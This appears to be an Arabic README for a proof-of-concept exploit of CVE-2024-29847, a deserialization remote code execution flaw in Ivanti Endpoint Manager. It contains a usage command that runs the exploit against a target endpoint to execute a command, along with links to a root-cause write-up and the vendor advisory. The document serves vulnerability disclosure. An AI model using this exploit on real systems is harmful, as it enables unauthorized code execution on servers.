CVE-2024-29847

إثبات المفهوم لثغرة تنفيذ التعليمات البرمجية عن بُعد عبر إلغاء تسلسل البيانات غير الموثوقة في Ivanti Endpoint Manager AgentPortal (CVE-2024-29847)

يمكن العثور على تحليل السبب الجذري للثغرة على مدونتي:

https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/

الاستخدام

CVE-2024-29847.exe --uselease --installdir "C:\Program Files\LANDesk\ManagementSuite\LANDesk\ManagementSuite\Core\Core.Webservices" tcp://192.168.0.200:49669/LDSM exec test

التخفيف

قم بالتحديث إلى أحدث إصدار أو خفف من المخاطر باتباع هذا الرابط

• https://forums.ivanti.com/s/article/Security-Advisory-EPM-September-2024-for-EPM-2024-and-EPM-2022?language=en_US

تابعنا على تويتر (X) لأحدث الأبحاث الأمنية:

• SinSinology
• SummoningTeam

إخلاء مسؤولية

تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي وتطوير تقنيات دفاعية فعالة فقط، وليس المقصود منه استخدامه لمهاجمة الأنظمة إلا في الحالات المصرح بها صراحةً. القائمون على المشروع ليسوا مسؤولين عن أي إساءة استخدام للبرنامج. يُرجى استخدامه بمسؤولية.